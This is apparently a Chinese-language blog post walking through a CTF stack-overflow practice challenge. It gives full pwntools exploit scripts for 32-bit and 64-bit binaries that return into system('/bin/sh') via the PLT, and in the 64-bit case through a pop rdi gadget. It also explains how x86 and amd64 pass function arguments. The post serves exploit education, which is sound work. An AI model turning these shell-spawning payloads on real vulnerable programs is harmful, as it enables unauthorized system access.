栈溢出基础练习题——3 (内有32和64位区别的对比)

37 篇文章 3 订阅

所有练习题:https://blog.csdn.net/qq_41696518/article/details/125646549
本题:pwn2 --> level2
先checksec一下,32位,开启了栈不可执行,自己构造shellcode指定不行,放入ida反编译一下
在这里插入图片描述
存在漏洞函数,不存在后门函数,但调用了system函数,这时则可以利用system的plt表掉system函数,因此只需要找到system的参数即可,Shift+F12,发现还存在/bin/sh字符串
在这里插入图片描述
那这题目就白给了,攻击函数:

from pwn import *
io = process("./level2")
elf = ELF("./level2")
bin_sh = 0x0804A024
system = elf.plt["system"]
io.recv()
payload = b'A'*(0x88+4) + p32(system) + b'A'*4 + p32(bin_sh)
io.sendline(payload)
io.interactive()

那如果是64位下的呢?有什么区别
x86:

  • 使用栈传递参数
  • 使用eax存返回值
    在这里插入图片描述

注意x86参数是倒序存入栈的
amd64:

  • 前6个参数依次存放于rdi,rsi,rdx,rcx,r8,r9寄存器中
  • 后7个参数存放于栈中
    在这里插入图片描述

注意寄存器是顺着放入,当存入栈时也是逆序放入,因为栈先进后出

这题也有x64版本:pwn2_x64 --> level2_x64
exp.py:

from pwn import *
io = process("./level2_x64")
elf = ELF("./level2_x64")
system_plt = elf.plt["system"]
bin_sh = next(elf.search(b"/bin/sh"))
pop_rdi_ret = 0x00000000004006b3
# pop_rdi_ret 可由 ROPgadget --binary level_x86 --only "pop|ret" | grep rdi  得到
payload = b'A'*(0x80+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_plt)
io.recv()
io.sendline(payload)
io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值